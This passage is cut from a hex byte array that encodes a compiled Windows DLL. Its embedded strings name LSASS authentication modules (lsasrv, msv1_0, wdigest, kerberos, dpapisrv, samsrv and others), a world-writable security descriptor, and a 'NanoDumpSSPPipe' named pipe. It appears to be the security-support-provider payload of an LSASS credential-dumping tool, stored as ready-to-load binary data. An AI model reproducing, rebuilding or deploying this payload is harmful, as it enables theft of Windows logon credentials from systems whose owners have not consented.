C,0x90,0x90,0xFF,0x25,0x38,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x40,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x44,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x4C,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x50,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x54,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x58,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x5C,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x60,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x64,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x68,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x6C,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x70,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x74,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x78,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x7C,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x80,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x84,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x88,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x8C,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x94,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x98,0xE1,0x88,0x6C,0x90,0x90,0xFF,0x25,0x9C,0xE1,0x88,0x6C,0x90,0x90,0xE9,0x7B,0xA6,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xFF,0xFF,0xFF,0xFF,0x80,0x6D,0x88,0x6C,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x68,0x80,0x88,0x6C,0x7E,0x80,0x88,0x6C,0x94,0x80,0x88,0x6C,0xA8,0x80,0x88,0x6C,0xC0,0x80,0x88,0x6C,0xDA,0x80,0x88,0x6C,0xF2,0x80,0x88,0x6C,0x0C,0x81,0x88,0x6C,0x22,0x81,0x88,0x6C,0x3C,0x81,0x88,0x6C,0x50,0x81,0x88,0x6C,0x66,0x81,0x88,0x6C,0x7C,0x81,0x88,0x6C,0x92,0x81,0x88,0x6C,0xB0,0x81,0x88,0x6C,0xCA,0x81,0x88,0x6C,0xE2,0x81,0x88,0x6C,0xFA,0x81,0x88,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x6D,0x88,0x6C,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x02,0x00,0x00,0x00,0x30,0x6B,0x88,0x6C,0x50,0x6C,0x88,0x6C,0x80,0x6B,0x88,0x6C,0x50,0x6B,0x88,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x69,0x62,0x67,0x63,0x63,0x5F,0x73,0x5F,0x64,0x77,0x32,0x2D,0x31,0x2E,0x64,0x6C,0x6C,0x00,0x5F,0x5F,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x5F,0x66,0x72,0x61,0x6D,0x65,0x5F,0x69,0x6E,0x66,0x6F,0x00,0x5F,0x5F,0x64,0x65,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x5F,0x66,0x72,0x61,0x6D,0x65,0x5F,0x69,0x6E,0x66,0x6F,0x00,0x00,0x00,0x00,0x5C,0x00,0x3F,0x00,0x3F,0x00,0x5C,0x00,0x00,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x31,0x00,0x5F,0x00,0x30,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x73,0x00,0x70,0x00,0x6B,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x64,0x00,0x69,0x00,0x67,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x65,0x00,0x72,0x00,0x62,0x00,0x65,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x64,0x00,0x70,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x64,0x00,0x63,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x64,0x00,0x62,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x73,0x00,0x61,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x72,0x00,0x73,0x00,0x61,0x00,0x65,0x00,0x6E,0x00,0x68,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x65,0x00,0x76,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x6C,0x00,0x6F,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x65,0x00,0x76,0x00,0x74,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x6C,0x00,0x6F,0x00,0x75,0x00,0x64,0x00,0x61,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x44,0x00,0x3A,0x00,0x28,0x00,0x41,0x00,0x3B,0x00,0x4F,0x00,0x49,0x00,0x43,0x00,0x49,0x00,0x3B,0x00,0x47,0x00,0x41,0x00,0x3B,0x00,0x3B,0x00,0x3B,0x00,0x57,0x00,0x44,0x00,0x29,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00,0x2E,0x00,0x5C,0x00,0x70,0x00,0x69,0x00,0x70,0x00,0x65,0x00,0x5C,0x00,0x25,0x00,0x77,0x00,0x73,0x00,0x00,0x00,0x4E,0x00,0x61,0x00,0x6E,0x00,0x6F,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x53,0x00,0x53,0x00,0x50,0x00,0x50,0x00,0x69,0x00,0x70,0x00,0x65,0x00,0x00,0x00,0xC0,0x5E,0x88,0x6C,0x00,0x00,0x89,0x6C,0x04,0x00,0x89,0x6C,0x38,0xCA,0x88,0x6C,0x18,0xF0,0x88,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4D,0x69,0x6E,0x67,0x77,0x2D,0x77,0x36,0x34,0x20,0x72,0x75,0x6E,0x74,0x69,0x6D,0x65,0x20,0x66,0x61,0x69,0x6C,0x75,0x72,0x65,0x3A,0x0A,0x00,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x20,0x68,0x61,0x73,0x20,0x6E,0x6F,0x20,0x69,0x6D,0x61,0x67,0x65,0x2D,0x73,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x25,0x64,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x61,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x00,0x00,0x00,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x63,0x6F,0x64,0x65,0x20,0x30,0x78,0x25,0x78,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x70,0x72,0x6F,0x74,0x6F,0x63,0x6F,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x62,0x69,0x74,0x20,0x73,0x69,0x7A,0x65,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x25,0x64,0x20,0x62,0x69,0x74,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x74,0x20,0x25,0x70,0x20,0x6F,0x75,0x74,0x20,0x6F,0x66,0x20,0x72,0x61,0x6E,0x67,0x65,0x2C,0x20,0x74,0x61,0x72,0x67,0x65,0x74,0x69,0x6E,0x67,0x20,0x25,0x70,0x2C,0x20,0x79,0x69,0x65,0x6C,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x20,0x25,0x70,0x2E,0x0A,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xE0,0x7F,0xFF,0xFF,0x14,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x50,0xC5,0x0C,0x04,0x04,0x00,0x00,0x2C,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0xE0,0x7F,0xFF,0xFF,0xD1,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x6D,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x47,0x0B,0x00,0x30,0x00,0x00,0x00,0x6C,0x00,0x00,0x00,0x90,0x81,0xFF,0xFF,0xAE,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x41,0x87,0x03,0x43,0x86,0x04,0x43,0x83,0x05,0x02,0x78,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4B,0x0B,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x0C,0x83,0xFF,0xFF,0x22,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x5C,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x1C,0x83,0xFF,0xFF,0x1B,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x57,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x2C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x04,0x83,0xFF,0xFF,0x9C,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x7D,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x47,0x0B,0x00,0x1C,0x00,0x00,0x00,0x4C,0x00,0x00,0x00,0x74,0x83,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x6B,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x6C,0x83,0xFF,0xFF,0x15,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x51,0xC5,0x0C,0x04,0x04,0x00,0x00,0x28,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x61,0x83,0xFF,0xFF,0xC1,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x48,0x87,0x03,0x83,0x04,0x03,0xB3,0x02,0xC3,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0xF6,0x85,0xFF,0xFF,0x85,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x81,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x88,0x00,0x00,0x00,0x5B,0x86,0xFF,0xFF,0xD2,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xCE,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0xA8,0x00,0x00,0x00,0x0D,0x87,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x6B,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0xC8,0x00,0x00,0x00,0x1C,0x87,0xFF,0xFF,0x63,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x5F,0x01,0xC5,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0xE8,0x00,0x00,0x00,0x5F,0x88,0xFF,0xFF,0xF9,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xF5,0xC5,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0x08,0x01,0x00,0x00,0x38,0x89,0xFF,0xFF,0xD0,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x02,0xC5,0xC5,0xC7,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0x2C,0x01,0x00,0x00,0xE4,0x89,0xFF,0xFF,0x75,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0x6A,0x01,0xC5,0xC7,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0x50,0x01,0x00,0x00,0x35,0x8B,0xFF,0xFF,0x65,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0x5A,0x01,0xC5,0xC7,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x74,0x01,0x00,0x00,0x76,0x8C,0xFF,0xFF,0x6A,0x00,0x00,0x00,0x00,0